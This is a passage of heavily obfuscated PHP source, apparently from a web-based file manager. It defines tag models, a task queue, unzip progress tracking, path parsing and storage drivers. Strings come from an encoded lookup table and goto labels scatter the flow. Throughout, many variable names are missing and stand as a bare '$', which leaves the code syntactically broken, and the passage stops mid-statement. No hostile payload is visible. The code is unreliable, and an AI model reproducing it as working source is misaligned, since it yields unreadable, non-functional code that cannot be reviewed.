$ݸ = Model($Ĥ[842])->where($)->field($Ĥ[1938])->select(); $ݸ = array_to_keyvalue($ݸ, $Ĥ[510], $Ĥ[408]); $ϊ = !empty($ݸ[$丈]) ? $ݸ[$丈] : !1; if ($ϊ) { if (!$ݸ[$]) { $ݸ[$] = Model($Ĥ[842])->groupRootAdd($); } $ط = $ݸ[$]; $ = array($Ĥ[503] => $ϊ); $ݸ = Model($Ĥ[842])->where($)->field($Ĥ[1939])->select(); if (!$ݸ) { $ݸ = array(); } Model($Ĥ[842])->moveClearAuth = !1; foreach ($ݸ as $) { $ = $[$Ĥ[416]] == $Ĥ[99] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($Ĥ[842])->move($[$Ĥ[408]], $ط, $); } Model($Ĥ[842])->moveClearAuth = !0; $ = array($Ĥ[417] => 2, $Ĥ[510] => $丈); $Է = array($Ĥ[510] => $); Model($Ĥ[1940])->where($)->save($Է); Model($Ĥ[1941])->where($)->save($Է); } $this->_changeChildLevel($ę[$丈], $ę[$], !0); $this->where(array($Ĥ[503] => $丈))->save(array($Ĥ[503] => $)); $this->_clearChildrenCache($ę[$]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\165\x73\145\x72\x5f\146\141\x76"; protected function cacheFunctionAlias($) { $ڌ =& $_SERVER[Ȣ]; return array($ڌ[1942] => array($[0], $ڌ[1943]), $ڌ[1944] => array($[0], $ڌ[1945])); } protected function get($) { $֔ =& $_SERVER[Ȣ]; $ُ = Model($֔[527])->metaGet($, $֔[1946]); $ = json_decode($ُ, !0); return $ ? $ : array($֔[1947] => $֔[99], $֔[377] => array()); } protected function set($ܐ, $С) { $ =& $_SERVER[Ȣ]; $С = $С ? $С : array($[1947] => $[99], $[377] => array()); return Model($[527])->metaSet($ܐ, $[1946], json_encode($С)); } protected function getByTagID($, $ז) { $ƿ =& $_SERVER[Ȣ]; if (!$ || !$ז) { return !1; } if (!Model($ƿ[527])->getInfoSimple($)) { return !1; } $⚘ = $this->get($); if (!$⚘ || !isset($⚘[$ƿ[377]])) { return !1; } $ = array_find_by_field($⚘[$ƿ[377]], $ƿ[405], $ז); return is_array($) ? $ : !1; } public function listSource($, $Ǧ) { $ =& $_SERVER[Ȣ]; if ($Ǧ && !is_array($Ǧ)) { $Ǧ = array($Ǧ); } $ن = $this->listData($); $߷ = array(); foreach ($ن as $) { $ = $[$[88]]; if (!$) { continue; } if (!isset($߷[$])) { $߷[$] = array(); } $߷[$][] = $[$[432]]; } $渪ő = array(); foreach ($߷ as $ => $á) { $ꨰ = !0; if (!$Ǧ) { $渪ő[] = $; continue; } foreach ($Ǧ as $) { if (!in_array($, $á)) { $ꨰ = !1; break; } } if ($ꨰ) { $渪ő[] = $; } } if (!$渪ő) { return array(); } $ = array($[423] => array($[424], $渪ő), $[510] => $, $[417] => SourceModel::TYPE_GROUP); $႐ = Model($[1337])->listSource($); if (!$႐ || count($渪ő) == $႐[$[374]][$[375]]) { return $႐; } $Ծ = array(); $ߴƒ = array_to_keyvalue($႐[$[87]], $[12], $[408]); $ڞ = array_to_keyvalue($႐[$[86]], $[12], $[408]); $ = array_merge($ڞ, $ߴƒ); foreach ($渪ő as $) { if (!in_array($, $)) { $Ծ[] = $; } } if ($Ծ) { $this->removeBySource($, $Ծ); } return $႐; } protected function listData($˒) { $蝠 =& $_SERVER[Ȣ]; $௮ = array($蝠[1657] => 0, $蝠[488] => array($蝠[1948], 0), $蝠[428] => $蝠[1949] . $˒); $ٷ = $蝠[1950]; $ = $this->field($ٷ)->where($௮)->order($蝠[1951])->select(); return $ ? $ : array(); } protected function addToTag($噥, $ܰ, $Ƅ) { $ =& $_SERVER[Ȣ]; if (!$this->getByTagID($噥, $Ƅ) || !$ܰ) { return !1; } if (!Model($[842])->pathInfo($ܰ)) { return !1; } $ = array($[1657] => 0, $[488] => $Ƅ, $[427] => $ܰ, $[428] => $[1952] . $噥, $[426] => $[12], $[1838] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($, $, $֛Ș) { $ȡ =& $_SERVER[Ȣ]; if (!$this->getByTagID($, $֛Ș) || !$) { return !1; } if (is_array($)) { $ = array($ȡ[7], $); } $Nj = array($ȡ[1657] => 0, $ȡ[488] => $֛Ș, $ȡ[428] => $ȡ[1952] . $, $ȡ[427] => $); return $this->where($Nj)->delete(); } protected function removeByTag($ñ, $) { $Ȑ =& $_SERVER[Ȣ]; if (!$this->getByTagID($ñ, $)) { return !1; } $ = array($Ȑ[1657] => 0, $Ȑ[488] => $, $Ȑ[428] => $Ȑ[1952] . $ñ); return $this->where($)->delete(); } protected function removeBySource($, $м) { $®ˤ =& $_SERVER[Ȣ]; if (!$ || !$м) { return !1; } if (is_array($м)) { $м = array($®ˤ[7], $м); } $ֳ = array($®ˤ[1657] => 0, $®ˤ[427] => $м, $®ˤ[488] => array($®ˤ[1026], 0), $®ˤ[428] => $®ˤ[1952] . $); return $this->where($ֳ)->delete(); } } goto B; c: class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\x74\x61\163\153\121\x75\145\165\145\x4c\145\x6e\x67\164\x68"; const QUEUE_DATA = "\x74\141\x73\153\x51\x75\x65\x75\x65\104\141\164\x61"; public static $listData = false; public static function initTask() { } public static function add($, $ = array(), $ = '', $ַ = '') { $ʒ =& $_SERVER[Ȣ]; if (self::$listData === !1) { self::$listData = self::getAll(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ַ && array_find_by_field(self::$listData, $ʒ[105], $ַ)) { return !0; } self::$listData[] = array($ʒ[272] => $, $ʒ[1743] => $, $ʒ[456] => $ , $ʒ[105] => $ַ); return !0; } public static function addSubmit() { $埤 =& $_SERVER[Ȣ]; if (!self::$listData || count(self::$listData) == 0) { return; } write_log($埤[1744] . json_encode_force(array_to_keyvalue(self::$listData, $埤[12], $埤[456])), $埤[1745]); self::setAll(self::$listData); self::$listData = !1; } public static function addNow($, $Ҿ = array(), $ = '', $ = '') { $ =& $_SERVER[Ȣ]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ߕ = self::getAll(); if ($ && array_find_by_field($ߕ, $[105], $)) { return !0; } $ߕ[] = array($[272] => $, $[1743] => $Ҿ, $[456] => $, $[105] => $); write_log($[1744] . $, $[1745]); self::setAll($ߕ); return !0; } public static function run() { $σƽ =& $_SERVER[Ȣ]; $ʩ = self::getAll(); $ = array_shift($ʩ); if (!$) { return !1; } self::setAll($ʩ); $マ = timeFloat(); try { Hook::apply($[$σƽ[272]], $[$σƽ[1743]]); } catch (Exception $忧) { } $ = number_format(timeFloat() - $マ, 3) . $σƽ[1682]; write_log($σƽ[1746] . $[$σƽ[456]] . $σƽ[1747] . $, $σƽ[1745]); return !0; } public static function count() { $ = Cache::get(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_LENGTH); if (!$) { return 0; } return intval($); } public static function getAll() { $掮 = Cache::get(self::QUEUE_DATA); Cache::removeMemory(self::QUEUE_DATA); if (!$掮) { return array(); } return $掮; } public static function setAll($) { $Ƿ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($), $Ƿ); Cache::set(self::QUEUE_DATA, $, $Ƿ); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); } } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($, $诀 = 5.0) { if (!$) { return; } $ۓݨ = Cache::get($); if (!$ۓݨ || timeFloat() - floatVal($ۓݨ) >= $诀) { Cache::set($, timeFloat(), $诀 * 10); return !0; } return !1; } public static function timeLimitCall($, $, $֩, $Գ = 5.0) { $ =& $_SERVER[Ȣ]; if (!$ || !$) { return; } self::$asyncAdd = !0; $澸 = $[1748]; $ = Cache::get($澸, !0); $բ = array($[1749] => timeFloat(), $[1750] => timeFloat(), $[272] => $, $[1743] => $֩, $[210] => $Գ); if (is_array($[$])) { $բ[$[1750]] = $[$][$[1750]]; } if (is_array($[$])) { if (timeFloat() - $[$][$[1749]] < $բ[$[210]] * 0.3) { return; } $բ[$[1750]] = $[$][$[1750]]; } $[$] = $բ; Cache::set($澸, $, 60); Cache::removeMemory($澸); write_log($[1751] . $ . $[81] . $, $[1745]); } public static function timeLimitCallLoop() { $Љ =& $_SERVER[Ȣ]; $Ҡ = array($Љ[1752]); $ًä = in_array(strtolower(ACTION), $Ҡ); if (!$ًä && !self::$asyncAdd) { return; } $ɽ = $Љ[1748]; $Ʒ = Cache::get($ɽ, !0); if (!$Ʒ || count($Ʒ) <= 0) { return; } $ = !1; $Ϡڛ = timeFloat(); $۬ = array(); foreach ($Ʒ as $ => $屣) { if ($Ϡڛ - $屣[$Љ[1750]] > $屣[$Љ[210]]) { $ = !0; try { Hook::apply($屣[$Љ[272]], $屣[$Љ[1743]]); write_log($Љ[1753] . $ . $Љ[81] . $屣[$Љ[272]] . $Љ[1754] . ACTION, $Љ[1745]); } catch (Exception $ܭ) { } continue; } $۬[$] = $屣; } if (!$) { return; } if (!$۬) { return Cache::remove($ɽ); } Cache::set($ɽ, $۬, 60); Cache::removeMemory($ɽ); } public static function finished($鈵, $Ё) { $ȝ =& $_SERVER[Ȣ]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($ȝ[272] => $鈵, $ȝ[1743] => $Ё); } private static function finishedRun() { $֧ =& $_SERVER[Ȣ]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $) { try { Hook::apply($[$֧[272]], $[$֧[1743]]); } catch (Exception $ڣ) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $É =& $_SERVER[Ȣ]; parent::startAfter(); Hook::bind($É[1755], array($this, $É[1756])); Hook::bind($É[1204], array($this, $É[1757])); $ =& $this->task; $[$É[1758]] = $É[1209]; if (!$[$É[1566]]) { $[$É[1566]] = LNG($É[1759]); } } protected function endAfter() { $냠 =& $_SERVER[Ȣ]; parent::endAfter(); Hook::unbind($냠[1755], array($this, $냠[1756])); Hook::unbind($냠[1204], array($this, $냠[1757])); } public function updateAfter() { $ѱ =& $_SERVER[Ȣ]; $섟 =& $this->task; if (!$섟[$ѱ[803]] || !$섟[$ѱ[780]]) { return; } if ($섟[$ѱ[1758]] == $ѱ[1209]) { $ = 0; if ($섟[$ѱ[1714]]) { $ = $섟[$ѱ[1715]] / $섟[$ѱ[1714]]; } $섟[$ѱ[1668]] = $ * 0.3; } else { if ($섟[$ѱ[1758]] == $ѱ[321]) { $ = $섟[$ѱ[1667]] / $섟[$ѱ[803]]; $섟[$ѱ[1668]] = 0.3 + $ * 0.4; } else { if ($섟[$ѱ[1758]] == $ѱ[118]) { $ = 0; if ($섟[$ѱ[1716]] == $ѱ[118]) { $ = $섟[$ѱ[1715]]; } $ = ($섟[$ѱ[1719]] + $) / $섟[$ѱ[780]]; $섟[$ѱ[1668]] = 0.3 + 0.4 + $ * 0.3; } } } if ($섟[$ѱ[1668]] > 0) { $ = timeFloat() - $섟[$ѱ[1670]] - $섟[$ѱ[1673]]; $섟[$ѱ[1674]] = $ * (1 - $섟[$ѱ[1668]]) / $섟[$ѱ[1668]]; } } public function addFile($β) { $ =& $_SERVER[Ȣ]; $ =& $this->task; $ω = IO::info($β); $[$[1712]] = $ω[$[32]]; $[$[1714]] = $ω[$[90]]; $[$[1715]] = 0; $[$[1076]] = $[1734]; $[$[1716]] = $[1209]; $[$[780]] = $ω[$[90]]; $[$[803]] = 1; $ĬЪ = 0; $[$[1723]] = array($[1724] => $ĬЪ + 1, $[426] => $ω[$[32]], $[88] => $ω[$[88]], $[524] => $ω[$[524]] ? $ω[$[524]] : $ω[$[88]]); $this->update(); } public function unzipAfter($) { $ܘ =& $_SERVER[Ȣ]; $ԅ =& $this->task; $ԅ[$ܘ[1758]] = $ܘ[118]; $賚 = IO::infoWithChildren($); $㒜 = 0; $ԅ[$ܘ[1723]] = array($ܘ[1724] => $㒜 + 1, $ܘ[426] => $賚[$ܘ[32]], $ܘ[88] => $賚[$ܘ[88]], $ܘ[524] => $賚[$ܘ[524]] ? $賚[$ܘ[524]] : $賚[$ܘ[88]]); if ($賚[$ܘ[33]] == $ܘ[206]) { $ԅ[$ܘ[803]] = 1; } else { $ԅ[$ܘ[803]] = $賚[$ܘ[93]][$ܘ[91]]; } $ԅ[$ܘ[1076]] = $ܘ[12]; $ԅ[$ܘ[1716]] = 0; $ԅ[$ܘ[1667]] = 0; $ԅ[$ܘ[1714]] = 0; $ԅ[$ܘ[1715]] = 0; $ԅ[$ܘ[1712]] = $ܘ[12]; $ԅ[$ܘ[1719]] = 0; $ԅ[$ܘ[780]] = $賚[$ܘ[90]]; $this->update(); self::log($ܘ[1760] . json_encode(array($ԅ, $賚))); } public function nameParse($ߝ) { $Ȓ =& $_SERVER[Ȣ]; $ =& $this->task; if ($[$Ȓ[1758]] == $Ȓ[1209]) { $[$Ȓ[1758]] = $Ȓ[321]; $[$Ȓ[1719]] = 0; $[$Ȓ[780]] = 0; } $ = get_path_this($ߝ); if (strstr($, $Ȓ[10])) { $[$Ȓ[1667]] += 1; $[$Ȓ[803]] += 1; } $[$Ȓ[1712]] = $ߝ; $this->update(); } } goto aݶ; d͏: class KodIO { const KOD_SOURCE = "\173\163\157\165\x72\143\145\x7d"; const KOD_USER_RECYCLE = "\x7b\x75\163\145\162\x52\x65\143\x79\x63\x6c\145\x7d"; const KOD_USER_FAV = "\173\165\163\x65\162\x46\x61\166\x7d"; const KOD_USER_FILE_TAG = "\x7b\x75\x73\x65\x72\106\151\154\x65\x54\x61\147\x7d"; const KOD_USER_FILE_TYPE = "\x7b\x75\163\145\162\x46\x69\154\x65\124\x79\x70\145\x7d"; const KOD_GROUP_ROOT_SELF = "\x7b\x67\162\157\165\x70\122\157\x6f\164\x53\145\x6c\146\175"; const KOD_USER_SHARE = "\x7b\x75\163\145\x72\123\x68\x61\x72\145\x7d"; const KOD_USER_SHARE_LINK = "\173\165\163\x65\x72\123\150\141\162\x65\114\x69\156\153\x7d"; const KOD_USER_SHARE_TO_ME = "\173\163\x68\141\162\x65\124\x6f\115\145\x7d"; const KOD_SHARE_ITEM = "\173\163\150\x61\162\x65\x49\164\x65\155\175"; const KOD_SHARE_LINK = "\x7b\163\150\x61\162\145\x49\x74\145\x6d\x4c\x69\156\x6b\175"; const KOD_SEARCH = "\173\x73\145\x61\x72\x63\150\175"; const KOD_BLOCK = "\173\x62\x6c\157\x63\x6b\x7d"; const KOD_IO = "\x7b\x69\157\175"; const KOD_USER_RECENT = "\173\x75\163\x65\x72\122\x65\x6e\143\145\156\x74\175"; const KOD_USER_DRIVER = "\173\144\162\x69\x76\x65\x72\175"; public static function typeList() { $Ӈ =& $_SERVER[Ȣ]; return array($Ӈ[1254] => self::KOD_SOURCE, $Ӈ[1255] => self::KOD_USER_RECYCLE, $Ӈ[1256] => self::KOD_USER_FAV, $Ӈ[1257] => self::KOD_USER_FILE_TAG, $Ӈ[1258] => self::KOD_USER_FILE_TYPE, $Ӈ[1259] => self::KOD_GROUP_ROOT_SELF, $Ӈ[1260] => self::KOD_USER_SHARE, $Ӈ[1261] => self::KOD_USER_SHARE_LINK, $Ӈ[1262] => self::KOD_USER_SHARE_TO_ME, $Ӈ[1263] => self::KOD_SHARE_ITEM, $Ӈ[1264] => self::KOD_SHARE_LINK, $Ӈ[1265] => self::KOD_SEARCH, $Ӈ[1266] => self::KOD_BLOCK, $Ӈ[1267] => self::KOD_IO, $Ӈ[1268] => self::KOD_USER_RECENT, $Ӈ[1269] => self::KOD_USER_DRIVER); } public static function parse($烷) { $ =& $_SERVER[Ȣ]; $烷 = self::clear($烷); $ = array_values(self::typeList()); preg_match($[1270], $烷, $); $ = array($[428] => !1, $[1271] => !1, $[425] => !1, $[88] => $烷, $[1180] => !1, $[1179] => $[12]); if (is_array($) && count($) == 5) { $ = $[1272] . $[2] . $[335]; if (in_array($, $)) { $[$[1180]] = $[1]; $[$[33]] = $; $[$[1273]] = substr($, 1, -1); $[$[405]] = $[3]; } $[$[1179]] = $[4]; } $ = array($[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $[$[1235]] = in_array($[$[33]], $); return $; } public static function isTruePath($Ʒ) { $⁹Λ =& $_SERVER[Ȣ]; if (substr($Ʒ, 0, 1) != $⁹Λ[1272]) { return !0; } if (strpos($Ʒ, $⁹Λ[414]) === 0) { return !0; } if (strpos($Ʒ, $⁹Λ[1239]) === 0) { return !0; } if (strpos($Ʒ, $⁹Λ[1274]) === 0) { return !0; } if (strpos($Ʒ, $⁹Λ[1275]) === 0) { return !0; } if (strpos($Ʒ, $⁹Λ[1276]) === 0) { return !0; } return !1; } public static function clear($ƫ) { $ =& $_SERVER[Ȣ]; $ƫ = str_replace(array($[1090], $[66]), $[53], $ƫ); $ƫ = str_replace($[108], $[8], $ƫ); $ѝ = $[1277]; if (substr($ƫ, 0, 3) == $[1278]) { $ƫ = substr($ƫ, 3); } while (strstr($ƫ, $ѝ)) { $ƫ = str_replace($ѝ, $[8], $ƫ); } $ƫ = preg_replace($[1279], $[8], $ƫ); if ($ƫ == $[8]) { return $[8]; } $ƫ = rtrim($ƫ, $[8]); return $ƫ; } public static function sourceID($) { $ͨՋ =& $_SERVER[Ȣ]; $ = self::parse($); if ($[$ͨՋ[33]] !== self::KOD_SOURCE) { show_json(LNG($ͨՋ[1280]), !1); } return $[$ͨՋ[405]]; } public static function make($) { if (!$) { return !1; } return self::makePath(self::KOD_SOURCE, intval($)); } public static function makeShare($, $ۢ) { return self::makePath(self::KOD_SHARE_ITEM, $, $ۢ); } public static function makeFileTypePath($) { return self::makePath(self::KOD_USER_FILE_TYPE, $); } public static function makeFileTagPath($ߗ͂) { return self::makePath(self::KOD_USER_FILE_TAG, $ߗ͂); } public static function makePath($풛, $Ѝ = '', $ = '') { $ =& $_SERVER[Ȣ]; $ = substr($풛, 1, -1); $ı = $[1281] . $ . $[1282] . $Ѝ . $[1283]; $ı = $ ? $ı . $ . $[8] : $ı; return $ı; } public static function hashPath($, $ = true) { $ =& $_SERVER[Ȣ]; $ӧ = is_array($) ? $ : IO::info($); $ = _get($ӧ, $[1284], $[12]); if (!$ && isset($ӧ[$[408]])) { $ӧ = IO::info(KodIO::make($ӧ[$[408]])); $ = _get($ӧ, $[1284], $[12]); } if (!$ && $) { $֘ = KodIO::parse($ӧ[$[88]]); if (!$֘[$[33]]) { $ = IO::hashSimple($ӧ[$[88]]); } } if (!$) { $ = md5($ӧ[$[88]] . $ӧ[$[90]] . $ӧ[$[96]]); } return $; } public static function initSystemPath() { $ =& $_SERVER[Ȣ]; if (defined($[1285])) { return; } define($[1285], self::systemPath($[1286])); define($[1287], self::systemPath($[1288])); define($[1289], self::systemPath($[1290])); define($[1291], self::systemPath($[1292])); IOHistory::bindEvent(); } public static function systemPath($) { $Ś =& $_SERVER[Ȣ]; $ = $Ś[1293] . ucfirst($); $ = Model($Ś[787])->get($); if ($) { return $; } if ($ == $Ś[1286]) { $ = self::make(Model($Ś[842])->systemRootPathAdd($Ś[545])); } else { $ = self::systemPath($Ś[1286]); $ = self::sourceID($); $ = self::make(Model($Ś[842])->mkdir($, $)); } Model($Ś[787])->set($, $); return $; } public static function systemFolder($қ) { $ = IO_PATH_SYSTEM_SOURCE . $қ; $ = Cache::get($); if (!$) { $ = IO::infoFull($); if (!$) { $ = IO::mkdir($, REPEAT_SKIP); } else { $ = $[$_SERVER[Ȣ][88]]; } Cache::set($, $, 3600 * 10); } return $; } public static function defaultDriver() { return Model($_SERVER[Ȣ][784])->defaultDriver(); } public static function defaultIO() { $ͱ =& $_SERVER[Ȣ]; $ = self::defaultDriver(); return $ͱ[1294] . $[$ͱ[405]] . $ͱ[1283]; } public static function defaultDriverInit() { static $ = false; if ($) { return $; } $ = IO::init(self::defaultIO()); return $; } public static function fileTypeList() { $ߘ =& $_SERVER[Ȣ]; $տ = $GLOBALS[$ߘ[6]][$ߘ[1295]]; foreach ($տ as $ފҷ => $) { $ = $ߘ[1296] . $ފҷ; $۷ = LNG($); if ($ != $۷) { $տ[$ފҷ][$ߘ[32]] = $۷; } } return $տ; } public static function diskList($Ƴ = true) { $Ղ = $_SERVER[Ȣ][1297]; if ($Ƴ) { $ = Cache::get($Ղ); if (is_array($)) { return $; } } $ = self::diskListGet(); Cache::set($Ղ, $, 60); return $; } public static function diskListGet() { $Ђ =& $_SERVER[Ȣ]; $ԑ = array(); if ($GLOBALS[$Ђ[6]][$Ђ[1298]] == $Ђ[1299]) { $ = $Ђ[1300]; for ($怵 = 0; $怵 < strlen($); $怵++) { $ = $[$怵] . $Ђ[1301]; if (file_exists($)) { $ԑ[] = $; } } return $ԑ; } if (!function_exists($Ђ[109])) { $ԑ[] = $Ђ[852]; return $ԑ; } $ⷳ = explode($Ђ[66], shell_exec($Ђ[1302])); array_shift($ⷳ); array_pop($ⷳ); $ɭ = array($Ђ[1303], $Ђ[1304], $Ђ[1305], $Ђ[1306], $Ђ[1307], $Ђ[1308], $Ђ[1309], $Ђ[1310]); foreach ($ⷳ as $) { $ = preg_split($Ђ[1311], $); $ = $[count($) - 1]; if (!strstr($[0], $Ђ[1312]) || !$) { continue; } $ݜ = rtrim($, $Ђ[8]) . $Ђ[8]; if (in_array($ݜ, $ɭ)) { continue; } $ԑ[] = $ݜ; } return $ԑ; } public static function isSameDisk($獽, $) { $ =& $_SERVER[Ȣ]; if ($GLOBALS[$[6]][$[1298]] == $[1299]) { return strtolower(substr($獽, 0, 1)) == strtolower(substr($, 0, 1)); } $ = self::diskList(); $ = !1; $Пɋ = !1; sort($); $ = array_reverse($); $獽 = rtrim($獽, $[8]) . $[8]; $ = rtrim($, $[8]) . $[8]; foreach ($ as $ꙣ) { $廓 = strlen($ꙣ); if (!$ && substr($獽, 0, $廓) == $ꙣ) { $ = $ꙣ; } if (!$Пɋ && substr($, 0, $廓) == $ꙣ) { $Пɋ = $ꙣ; } if ($ && $Пɋ) { break; } } return $ === $Пɋ; } public static function transferType($ޤ, $) { $ȇ =& $_SERVER[Ȣ]; $ = self::driverType($ޤ); $݆ = self::driverType($); if ($[$ȇ[33]] == $݆[$ȇ[33]] && $[$ȇ[1313]] == $݆[$ȇ[1313]]) { return $ȇ[1314]; } if ($[$ȇ[33]] == $ȇ[881] && $݆[$ȇ[33]] == $ȇ[117]) { return $ȇ[1209]; } if ($[$ȇ[33]] == $ȇ[117] && $݆[$ȇ[33]] == $ȇ[881]) { return $ȇ[118]; } return $ȇ[1315]; } public static function driverType($) { $ =& $_SERVER[Ȣ]; $ = str_replace($[1316], $[12], strtolower($->getType())); if ($ == $[775] || $ == $[1317] || $ == $[1318]) { $ = self::defaultDriverInit(); } else { if ($ == $[1216] || $ == $[1319]) { $ = IO::init($->pathParse[$[1163]]); } } $ = $->path; $ = str_replace($[1316], $[12], strtolower($->getType())); if ($ == $[117]) { return array($[33] => $[117], $[1313] => $[12], $[88] => $); } return array($[33] => $[881], $[1313] => $->pathDriver, $[88] => $); } public static function pathDriverType($) { return $ ? self::driverType(IO::init($)) : !1; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[Ȣ][225]); } public function uploadFormData($ϡ, $̽ = 3600) { $ =& $_SERVER[Ȣ]; $ = $[205]; $ = $[240]; $ = $[1320]; $糎順 = gmdate($[1321], time() + $̽); $ц = (string) time() . $[81] . (string) (time() + $̽); $ظӀ = array($[1322] => $糎順, $[1323] => array(array($[1324] => $), array($[1325] => $this->bucket), array($[1326], $[1327], $[12]), array($[1328] => $), array($[1329] => $), array($[1330] => $this->accessKey), array($[1331] => $ц))); $ظӀ = json_encode($ظӀ); $ = hash_hmac($[240], $ц, $this->secret); $֑ = sha1($ظӀ); $ղ = hash_hmac($[240], $֑, $); $ = array($[1324] => $, $[1328] => $, $[1332] => base64_encode($ظӀ), $[1329] => $, $[1330] => $this->accessKey, $[1333] => $ц, $[1334] => $ղ, $[188] => $this->getHost()); return $; } public function fileOutLink($) { $ =& $_SERVER[Ȣ]; if (substr($, 0, 7) == $[1335]) { $ = $[1336] . substr($, 7); } header($[172] . $); die; } } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($݈) { $this->pathParse = $݈; $this->model = Model($_SERVER[Ȣ][1337]); } public function getPath($) { return trim($, $_SERVER[Ȣ][8]); } public function pathFather($) { $ = $this->parse($); $ = $this->infoSimple($); return $ ? $[$_SERVER[Ȣ][503]] : !1; } public function pathThis($) { $ = $this->infoSimple($); return $ ? $[$_SERVER[Ȣ][32]] : !1; } public function getPathOuter($ܜ) { if (!$ܜ) { return $ܜ; } $ = $this->parse($ܜ); return KodIO::make($[$_SERVER[Ȣ][405]]); } public function copyFolderFromIO($ʕ, $ɣ, $ޫ, $Ӓ, $) { $± = $this->model->copyFolderFromIO($ʕ, $ɣ, $ޫ, $Ӓ, $); return KodIO::make($±); } public function isParentOf($׆, $) { return $this->model->isParentOf($׆, $); } public function mkfile($Ɇ賉, $ܷ = '', $Ư = REPEAT_RENAME) { $ =& $_SERVER[Ȣ]; $ϵ = $this->parse($Ɇ賉); $Ɇ賉 = $ϵ[$[405]]; for ($ = 0; $ < count($ϵ[$[1338]]); $++) { $ = $ϵ[$[1338]][$]; if ($ == count($ϵ[$[1338]]) - 1) { $Ɇ賉 = $this->model->mkfile($Ɇ賉, $, $ܷ, $Ư); break; } $Ɇ賉 = $this->model->mkdir($Ɇ賉, $, REPEAT_SKIP); } return $this->getPathOuter($Ɇ賉); } public function mkdir($Ł, $ = REPEAT_SKIP) { $Ù =& $_SERVER[Ȣ]; $՞ = $this->parse($Ł); $Ł = $՞[$Ù[405]]; for ($ = 0; $ < count($՞[$Ù[1338]]); $++) { $Ε = $՞[$Ù[1338]][$]; $Ł = $this->model->mkdir($Ł, $Ε, $); } return $this->getPathOuter($Ł); } public function copyFile($ո, $, $Ú = REPEAT_REPLACE) { $ =& $_SERVER[Ȣ]; $Ԟέ = $this->parse($); $گ = $this->model->copy($ո, $Ԟέ[$[405]], $Ú, $Ԟέ[$[88]]); return $گ ? $this->getPathOuter($گ) : !1; } public function moveFile($, $ᲆ, $ݫ = REPEAT_REPLACE) { $٫ =& $_SERVER[Ȣ]; $Ȅ = $this->parse($ᲆ); $ = $this->model->move($, $Ȅ[$٫[405]], $ݫ, $Ȅ[$٫[88]]); return $ ? $this->getPathOuter($) : !1; } public function copy($, $Ǫ, $Ƴ = REPEAT_REPLACE, $ = false) { $¥ = $this->parse($Ǫ); $ވ = $this->model->copy($, $¥[$_SERVER[Ȣ][405]], $Ƴ, $); return $ވ ? $this->getPathOuter($ވ) : !1; } public function moveSameAllow() { } public function move($, $Ց, $ʁ = REPEAT_REPLACE, $ = false) { $ = $this->parse($Ց); $ɛ = $this->model->move($, $[$_SERVER[Ȣ][405]], $ʁ, $); return $ɛ ? $this->getPathOuter($ɛ) : !1; } public function remove($, $ٗ = true) { return $this->model->remove($, $ٗ); } public function rename($ݍ, $ŧ纔) { $ = $this->model->rename($ݍ, $ŧ纔); return $ ? $this->getPathOuter($ݍ) : $; } public function size($) { $ = $this->infoSimple($); return $ ? $[$_SERVER[Ȣ][90]] : 0; } public function infoSimple($) { return $this->model->sourceInfo($); } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($, !1, !0); } public function infoWithChildren($✅؉) { return $this->infoParse($✅؉, !0); } protected function infoParse($͛, $𰠧 = false, $Ά = false) { if (!$𰠧) { return $this->model->pathInfo($͛, $Ά); } return $this->model->pathInfoMore($͛); } public function infoFull($׃) { $ =& $_SERVER[Ȣ]; $ؗ = explode($[8], $׃); $㇟ = implode($[8], array_splice($ؗ, 1)); return $this->model->pathInfoByPath($ؗ[0], $㇟); } public function hashSimple($ȕ) { $ =& $_SERVER[Ȣ]; $ = $this->infoWithChildren($ȕ); return $[$[177]][$[184]]; } public function hashMd5($Āſ) { $譐 =& $_SERVER[Ȣ]; $ = $this->infoWithChildren($Āſ); return $[$譐[177]][$譐[183]]; } public function exist($) { $ѹ =& $_SERVER[Ȣ]; $ = $this->parse($); if (!$[$ѹ[88]]) { return $this->isFile($) || $this->isFolder($); } $ = array($ѹ[407] => $[$ѹ[405]], $ѹ[32] => $[$ѹ[88]]); $ = $this->model->where($)->find(); return $ ? !0 : !1; } public function isFile($¥) { $ =& $_SERVER[Ȣ]; $ = $this->infoSimple($¥); return $ && $[$[416]] == $[99] ? !1 : !0; } public function isFolder($) { $ =& $_SERVER[Ȣ]; $ޱ = $this->infoSimple($); return $ޱ && $ޱ[$[416]] == $[99] ? !0 : !1; } public function listPath($, $Ѵ = false) { $ =& $_SERVER[Ȣ]; if ($ == $[12]) { return !1; } $֟ = array($[407] => $); if ($Ѵ) { return $this->model->listSource($֟, -1); } return $this->model->listSource($֟); } public function has($Ἴ, $ = false, $̛ = null) { $᮵ =& $_SERVER[Ȣ]; $ = $this->infoWithChildren($Ἴ); if ($) { return array($᮵[217] => $[$᮵[217]], $᮵[216] => $[$᮵[216]]); } return $̛ ? $[$᮵[217]] : $[$᮵[216]]; } public function listAll($̺) { $ = IO::info($this->pathParse[$_SERVER[Ȣ][88]]); if (!$) { return array(); } return $this->model->listAll($̺); } public function getContent($) { return $this->model->getContent($); } public function setContent($̥, $ = '') { return $this->model->setContent($̥, $); } public function fileSubstr($ڳ˟, $, $̈́) { return $this->model->fileSubstr($ڳ˟, $, $̈́); } public function download($ȈӺ, $ = '') { $ᒐ = get_path_father($); $̅ = get_path_this($); $ϣ = $this->model->fileInfoGet($ȈӺ); $ = 